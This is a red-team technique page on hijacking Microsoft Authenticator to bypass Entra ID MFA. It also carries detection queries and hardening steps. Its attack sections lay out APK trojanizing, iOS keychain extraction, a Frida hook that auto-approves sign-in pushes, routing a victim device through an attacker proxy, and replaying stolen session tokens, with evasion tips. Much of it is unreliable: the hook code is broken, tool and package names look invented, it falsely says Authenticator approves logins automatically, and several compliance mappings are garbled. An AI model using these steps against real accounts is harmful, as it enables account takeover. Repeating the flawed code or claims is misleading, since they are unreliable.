| Attribute | Details |
|---|---|
| Technique ID | CA-COOKIE-002 |
| MITRE ATT&CK v18.1 | T1539: Steal Web Session Cookie |
| Tactic | Credential Access |
| Platforms | Entra ID (via Microsoft Authenticator app on iOS, Android, Windows, macOS) |
| Severity | Critical |
| CVE | N/A (Authenticator session-level exploitation, not software vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Microsoft Authenticator v6.0+, all mobile OS versions |
| Patched In | Ongoing mitigation via location-based policies, device compliance, push notification anomaly detection |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) not included because Authenticator hijacking is application-level and not covered by Atomic Red Team. Section 8 (Splunk Detection) partially applicable; Sentinel detection is primary.
Concept: The Microsoft Authenticator app is designed to provide phishing-resistant MFA by delivering push notifications to a user’s registered device. When a user attempts to sign in, Entra ID sends a push notification to the Authenticator app, displaying the username, IP address, and other context. The user approves or denies the request directly in the app (without entering codes). However, if an attacker gains unauthorized access to the Authenticator app on the victim’s device—or captures and replays the session tokens used by the Authenticator to communicate with Entra ID—they can hijack the authentication session. This allows them to bypass the MFA requirement entirely, as the compromised Authenticator acts as a trusted device.
Attack Surface: The Authenticator app’s session tokens, the push notification channel, device registration certificates, and the cloud-to-device synchronization mechanism that updates the Authenticator’s state are all potential attack vectors. Compromise can occur via device malware, social engineering (tricking user to approve malicious requests), interception of Authenticator’s communication channel, or extraction of cached credentials from the device.
Business Impact: Unrestricted access to the user’s Entra ID account and all connected M365 services. Unlike other MFA methods (TOTP codes, SMS), the Authenticator app is designed to be adaptive, learning the user’s typical login locations and approving legitimate requests automatically over time. An attacker who compromises the Authenticator can bypass this adaptive MFA, accessing email, data, and administrative functions as if they were the legitimate user. The attack is particularly dangerous because it appears as though the user is approving the login (from their own device), making detection extremely difficult.
Technical Context: Authenticator app hijacking is typically the final stage of a sophisticated attack chain. The attacker first gains access to the victim’s device (via malware or physical access), then extracts Authenticator session tokens or registers a malicious device credential, allowing them to approve authentication requests remotely or intercept the app’s push notification handling logic. Alternatively, if the victim is enrolled in passwordless phone sign-in (phone becomes the authentication device itself), compromise is immediate.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1 (Session Binding), 6.2 (Endpoint Security) | Authenticator app not bound to tamper-evident hardware (TPM); compromise via malware possible without detection. |
| DISA STIG | IA-2(1) | MFA must be resistant to phishing and device compromise; Authenticator vulnerable if device malware present. |
| CISA SCuBA | MS.AAE.04 | Require hardware-backed MFA (FIDO2) instead of software Authenticator for critical accounts. |
| NIST 800-63B | SC-12 (Multi-factor OOB) | Out-of-band Authenticator must be on separate device from login device; often violated in practice (same device compromise). |
| GDPR | Art. 32 (Security of Processing) | Authenticator compromise without device compliance enforcement fails to meet technical security measures for sensitive data. |
| DORA | Art. 9 (Protection & Prevention) | Financial institution authentication must use hardware-backed factors; software Authenticator insufficient for critical access. |
| NIS2 | Art. 21 (Multi-factor Authentication) | Critical infrastructure must implement MFA resistant to device compromise; requires FIDO2 or equivalent. |
| ISO 27001 | A.9.4.3 (Multi-factor Authentication), A.10.1.1 (Cryptographic Controls) | Authenticator key material not bound to secure enclave (TPM); software-only keys vulnerable to extraction. |
| ISO 27005 | Risk: Device Compromise Leading to MFA Bypass | Authenticator reliance on device OS security creates cascading risk to identity layer. |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Determine which devices have Authenticator registered and their capabilities (passwordless phone sign-in, push notification MFA, etc.).
Command (PowerShell - List Registered Authenticator Devices):
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
$userId = (Get-MgUser -Filter "userPrincipalName eq 'user@company.com'").Id
# List all authentication methods
Get-MgUserAuthenticationMethod -UserId $userId | Select-Object Id, AdditionalProperties
# Filter for Authenticator app
Get-MgUserAuthenticationMethod -UserId $userId | Where-Object { $_.AdditionalProperties["@odata.type"] -like "*microsoftAuthenticator*" }
Expected Output:
@odata.type: #microsoft.graph.microsoftAuthenticatorAuthenticationMethod
deviceDisplayName: Artur's iPhone 14
createdDateTime: 2024-11-15
phoneAppVersion: 6.2401.1234
phoneAppDeviceId: device-abc123...
notificationPhones: [+33 6 12 34 56 78]
What to Look For:
OpSec & Evasion: This reconnaissance generates no logs if performed via authenticated Azure Portal session; only visible to user.
Objective: Verify that Authenticator is configured to receive push notifications and that anomaly detection is not blocking approval requests.
Manual Steps (Authenticator App - iOS):
Manual Steps (Authenticator App - Android):
What to Look For:
OpSec & Evasion: Checking app settings generates no remote logs.
Supported Versions: All versions (iOS, Android).
Objective: Install malware or gain physical access to victim’s device to extract Authenticator credentials.
Scenario A: Malicious App Installation (Android)
Command (APK Trojanization - Package Legitimate App with Malware):
# Download legitimate app
apk_analyzer -tool apk-downloader -app com.microsoft.identity.client.AuthenticatorMicrosoft -output legitimate.apk
# Decompile APK
apktool d legitimate.apk -o legitimate_decompiled/
# Inject malicious code (Frida agent or direct API hooking)
cat >> legitimate_decompiled/smali/com/microsoft/identity/Authenticator.smali << 'EOF'
# Malicious hook: Log all Authenticator push notifications before approving
invoke-static {}, Lcom/microsoft/identity/Authenticator;->logPushNotifications()V
EOF
# Recompile APK
apktool b legitimate_decompiled/ -o trojanized.apk
# Sign with attacker's key
jarsigner -keystore attacker.jks -storepass password -keypass password trojanized.apk attacker_key
# Distribute via phishing, app store, or sideload
# Victim installs trojanized app alongside (or instead of) legitimate Authenticator
Scenario B: Physical Device Access (iOS Jailbreak)
Command (Jailbreak iOS Device - Checkra1n):
# (On attacker's computer with jailbroken iOS device connected)
checkra1n --force-untether # Jailbreak device
# Connect via SSH
ssh root@192.168.1.100 # SSH into jailbroken device
# Extract Authenticator keychain (encrypted credentials)
/usr/bin/sqlite3 /var/containers/Shared/SystemGroup/group.com.microsoft.identity.authenticator/Library/Preferences/group.com.microsoft.identity.authenticator.plist
# Use Frida to hook Authenticator at runtime
frida -U -f com.microsoft.identity.client.AuthenticatorMicrosoft --script keychain_dump.js
Expected Output (Malware Perspective):
[*] Authenticator app installed and running
[*] Hooking Authenticator push notification handler
[*] Waiting for authentication requests...
[+] Push notification intercepted:
- User: user@company.com
- RequestID: auth-request-12345
- Location: Paris, France
- IP: 203.0.113.45
- Approval Status: Pending
[+] Automatically approving request...
[+] Sending approval to Entra ID
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Intercept push notifications and automatically approve authentication requests.
File: approver.js (Frida Hook Script)
// Load Authenticator's Java classes
Java.perform(function() {
// Hook the push notification receiver
var NotificationReceiver = Java.use('com.microsoft.identity.authenticator.push.PushNotificationReceiver');
var original_onReceive = NotificationReceiver.$new().onReceive;
NotificationReceiver.onReceive.overload('android.content.Context', 'android.content.Intent').implementation = function(context, intent) {
console.log('[*] Push notification intercepted');
// Extract notification data
var extras = intent.getExtras();
var authRequest = extras.getString('auth_request_id');
var location = extras.getString('location');
var userName = extras.getString('user_name');
console.log('[+] Auth Request: ' + authRequest);
console.log('[+] User: ' + userName);
console.log('[+] Location: ' + location);
// Approve the request automatically
var approvalIntent = Java.use('android.content.Intent');
approvalIntent.$new('com.microsoft.identity.authenticator.APPROVE_AUTH');
approvalIntent.putExtra('request_id', authRequest);
approvalIntent.putExtra('approval', true);
context.startService(approvalIntent);
console.log('[+] Automatically approved authentication request');
// Call original handler to maintain normal operation
return this.onReceive(context, intent);
};
});
Command (Deploy Frida Hook):
# Start Frida server on target device (via ADB)
adb push frida-server-12.11.13-android-arm64 /data/local/tmp/
adb shell chmod +x /data/local/tmp/frida-server-12.11.13-android-arm64
adb shell /data/local/tmp/frida-server-12.11.13-android-arm64 &
# From attacker's computer, attach Frida to Authenticator process
frida -U -f com.microsoft.identity.client.AuthenticatorMicrosoft --script approver.js
Expected Output:
Frida Instrumentation Console
[*] Spawned Authenticator process
[*] Push notification intercepted
[+] Auth Request: auth-req-abc123
[+] User: user@company.com
[+] Location: Paris, France
[+] Automatically approved authentication request
What This Means:
OpSec & Evasion:
Objective: Use the automatically approved authentication to gain access to Entra ID and M365.
Command (cURL - Finalize Authentication Post-Approval):
# After Frida hook auto-approves the request, Entra ID sends auth completion response
# Attacker captures the session cookie from the response
export SESSION_COOKIE="ESTSAUTHPERSISTENT=eyJ..."
export USER_AGENT="Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)..."
# Request access to M365 services
curl -i \
-H "Cookie: $SESSION_COOKIE" \
-H "User-Agent: $USER_AGENT" \
"https://graph.microsoft.com/v1.0/me"
Expected Response:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": "12345678-1234-1234-1234-123456789012",
"userPrincipalName": "user@company.com",
"displayName": "Victim User"
}
What This Means:
Supported Versions: Authenticator v6.5+, all platforms with passwordless enabled.
Objective: Determine if victim has passwordless phone sign-in enabled (highest privilege).
Command (PowerShell - Check Passwordless Status):
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
$userId = (Get-MgUser -Filter "userPrincipalName eq 'user@company.com'").Id
# Check for passwordless phone sign-in
Get-MgUserAuthenticationMethod -UserId $userId | Where-Object { $_.AdditionalProperties["@odata.type"] -like "*phoneSignIn*" }
Expected Output (If Passwordless Enabled):
@odata.type: #microsoft.graph.phoneSignInAuthenticationMethod
deviceDisplayName: User's iPhone
createdDateTime: 2024-11-15
What to Look For:
OpSec & Evasion: Query generates no logs if performed via authenticated session.
Objective: Register attacker’s device alongside victim’s legitimate Authenticator, allowing attacker to approve requests.
Command (PowerShell - Register New Device):
# This requires either:
# 1. Victim's credentials (obtained via phishing)
# 2. Compromised device registration API
# 3. Social engineering victim to approve initial setup
# Method: Use victim's credentials to register attacker's device
Connect-MgGraph -UseDeviceAuthentication # Will prompt user for approval via Authenticator
# Register new device
$newDevice = @{
deviceName = "iPhone 15 (New)"
deviceType = "iOS"
operatingSystem = "iOS"
}
# In practice, attacker would add the attacker's device to victim's Authenticator account
# This requires compromising the victim's device registration flow
Alternative (Social Engineering):
Expected Outcome:
OpSec & Evasion:
Objective: Approve authentication requests from attacker’s device, appearing as if legitimate user approved.
Command (Manual Approval Flow):
# When victim attempts to sign in, Entra ID sends push to ALL registered Authenticator instances
# Attacker's device (also registered) receives the push notification
# On attacker's Authenticator app:
# 1. Open Authenticator
# 2. Tap the pending sign-in request
# 3. View details (User: user@company.com, Location: Paris, IP: 203.0.113.45)
# 4. Tap "Approve"
# 5. (Optional) Approve passwordless phone sign-in if enabled
What This Means:
Supported Versions: All (on non-pinned devices).
Objective: Intercept HTTPS traffic between Authenticator and Entra ID to capture and replay authentication tokens.
Command (Burp Suite Configuration):
# Install Burp Suite on attacker's machine
# Configure device to route traffic through Burp proxy
# On victim's Android device (must be compromised to modify proxy settings):
adb shell settings put global http_proxy "attacker-ip:8080"
# Or manually in device Settings:
# Settings → WiFi → Modify Network → Proxy → Manual
# Proxy hostname: attacker-ip
# Port: 8080
# Apply
Expected Output (Burp Console):
[*] Burp Suite Proxy listening on 0.0.0.0:8080
[*] Device connected to proxy
[+] Intercepted: POST /oauth2/authorize (from Authenticator)
- X-Device-Id: device-abc123
- Authorization: Bearer eyJ...
[+] Intercepted: GET /api/notifications (Authenticator polling for push)
[+] Captured: Session token in response headers
What This Means:
OpSec & Evasion:
Objective: Use captured token to authenticate as the victim without their knowledge.
Command (cURL - Replay Authenticator Token):
# Extract session token from intercepted traffic
export AUTH_TOKEN="Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ..."
export DEVICE_ID="device-abc123"
# Use token to make authenticated requests
curl -i \
-H "Authorization: $AUTH_TOKEN" \
-H "X-Device-Id: $DEVICE_ID" \
-H "User-Agent: Authenticator/6.2401.1234 (iOS 17.0)" \
"https://graph.microsoft.com/v1.0/me/messages"
Expected Response:
HTTP/1.1 200 OK
Content-Type: application/json
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/...",
"value": [
{
"id": "message-12345",
"subject": "Quarterly Review Meeting",
"from": { "emailAddress": { "address": "manager@company.com" } }
}
]
}
What This Means:
Version: 12.11.13+ Minimum Version: 12.0 Supported Platforms: Android, iOS (with jailbreak), Windows
Installation:
pip install frida-tools
adb push frida-server-12.11.13-android-arm64 /data/local/tmp/
adb shell chmod +x /data/local/tmp/frida-server-12.11.13-android-arm64
adb shell /data/local/tmp/frida-server-12.11.13-android-arm64 &
Usage:
frida -U -f com.microsoft.identity.client.AuthenticatorMicrosoft --script hook.js
frida-ps -U | grep -i authenticator
Version: 2024.2+ Supported Platforms: Cross-platform proxy
Installation & Configuration:
java -jar burpsuite_pro.jar --proxy-socket 8080
KQL Query:
SigninLogs
| where MfaDetail.authMethod has "Authenticator" or MfaDetail.authMethod has "PushNotification"
| summarize ApprovalCount = count() by UserPrincipalName, LocationDetails.countryOrRegion, CreatedDateTime, IPAddress
| join kind=inner (
SigninLogs
| where TimeGenerated > ago(30d)
| summarize TypicalLocation = any(LocationDetails.countryOrRegion), TypicalIP = any(IPAddress) by UserPrincipalName
) on UserPrincipalName
| where LocationDetails.countryOrRegion != TypicalLocation
| project UserPrincipalName, UnusualLocation = LocationDetails.countryOrRegion, TypicalLocation, ApprovalCount, CreatedDateTime
| where ApprovalCount > 3 // Multiple approvals in unusual location
What This Detects:
KQL Query:
AuditLogs
| where ActivityDisplayName has "Register device" or ActivityDisplayName has "Update device"
| where TargetResources[0].displayName has "Authenticator" or TargetResources[0].displayName has "MobileApp"
| summarize Count = count() by UserPrincipalName, InitiatedBy.user.userPrincipalName, TimeGenerated
| where Count > 1 and TimeGenerated > ago(24h)
What This Detects:
Event ID: 4648 (A logon was attempted using explicit credentials)
Alert Name: “Unusual number of Authenticator approvals”
Manual Configuration:
Cloud Logs:
Device Logs (Endpoint):
Mobile Device Logs:
Device Storage:
/data/data/com.microsoft.identity.client.AuthenticatorMicrosoft/ (Authenticator app data)./var/containers/Bundle/Application/*/DocumentsKey (Authenticator keychain storage)./data/local/tmp/frida-server*, /proc/[pid]/maps (mapped libraries).Cloud (Entra ID):
1. Immediate Containment:
Command (Revoke All Authenticator Sessions):
$userId = (Get-MgUser -Filter "userPrincipalName eq 'user@company.com'").Id
# Remove all Authenticator registrations
Get-MgUserAuthenticationMethod -UserId $userId | Where-Object { $_.AdditionalProperties["@odata.type"] -like "*Authenticator*" } | ForEach-Object {
Remove-MgUserAuthenticationMethod -UserId $userId -AuthenticationMethodId $_.Id
}
# Invalidate all active sessions
Invoke-MgUserInvalidateAllRefreshTokens -UserId $userId
2. Re-register Authenticator (Clean Device):
Manual:
3. Investigate Device Compromise:
Command (Check for Malware):
# On potentially compromised Android device
adb shell pm list packages | grep -i "virus\|malware\|trojan"
# Check running processes
adb shell ps | grep -E "frida|proxy|debugger"
# Examine installed apps
adb shell pm list packages -3 # Third-party apps only
4. Enable Enhanced Monitoring:
Command (Configure Risk-Based Detection):
# Enable Entra ID P2 risk-based conditional access
$riskPolicy = @{
displayName = "Block High-Risk Sign-ins"
state = "enabled"
conditions = @{
signInRisk = @("high")
}
grantControls = @{
builtInControls = ("block")
}
}
New-MgIdentityConditionalAccessPolicy -PolicyConfig $riskPolicy
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks victim into clicking malicious link. |
| 2 | Execution | Malware installation / Device jailbreak | Attacker deploys malware or gains physical access. |
| 3 | Credential Access - This Step | [CA-COOKIE-002] Authenticator Hijacking | Attacker hooks Authenticator or registers additional device. |
| 4 | Lateral Movement | [LM-AUTH-006] Teams Authentication Bypass | Attacker uses hijacked Authenticator to access Teams. |
| 5 | Collection | Mailbox exfiltration, data theft | Attacker exfiltrates sensitive documents and emails. |
| 6 | Impact | [IMPACT-BEC] Business Email Compromise | Attacker sends fraudulent emails to external parties. |
Manual Steps:
Require FIDO2 for High-Value UsersManual Steps:
Block Passwordless Phone Sign-In for Non-Exempt UsersValidation (PowerShell):
# Check for passwordless phone sign-in users
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
Get-MgUser -All | ForEach-Object {
$userId = $_.Id
Get-MgUserAuthenticationMethod -UserId $userId | Where-Object {
$_.AdditionalProperties["@odata.type"] -like "*phoneSignIn*"
}
}
Manual Steps:
Require TPM 2.0, Antivirus, No JailbreakRequire Compliant Device for AuthenticatorManual Steps (Entra ID P2 Required):
Manual Steps:
AuditLogs.ActivityDisplayName == "Register device"Manual Steps (Intune):
Manual Steps:
Require Additional Verification for Off-Network ApprovalsManual Steps:
Validation Command:
# Verify FIDO2 enrollment
Get-MgUserAuthenticationMethod -UserId $userId | Where-Object { $_.AdditionalProperties["@odata.type"] -like "*Fido*" }
# Verify passwordless disabled
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*passwordless*" }
Expected Output:
@odata.type: #microsoft.graph.fido2AuthenticationMethod
Model: YubiKey 5
Conditional Access Policy: Block Passwordless Sign-In
State: enabled
Authenticator app hijacking represents a critical post-compromise attack vector. Unlike credentials, an attacker who compromises the Authenticator gains the ability to approve authentication requests silently, appearing as though the legitimate user approved the login. This makes detection extremely difficult and allows long-term persistence.
Defense requires multiple layers:
Organizations should prioritize replacing software Authenticator with FIDO2 security keys for high-value and administrative users, while enforcing strict device compliance policies for standard user Authenticator deployments.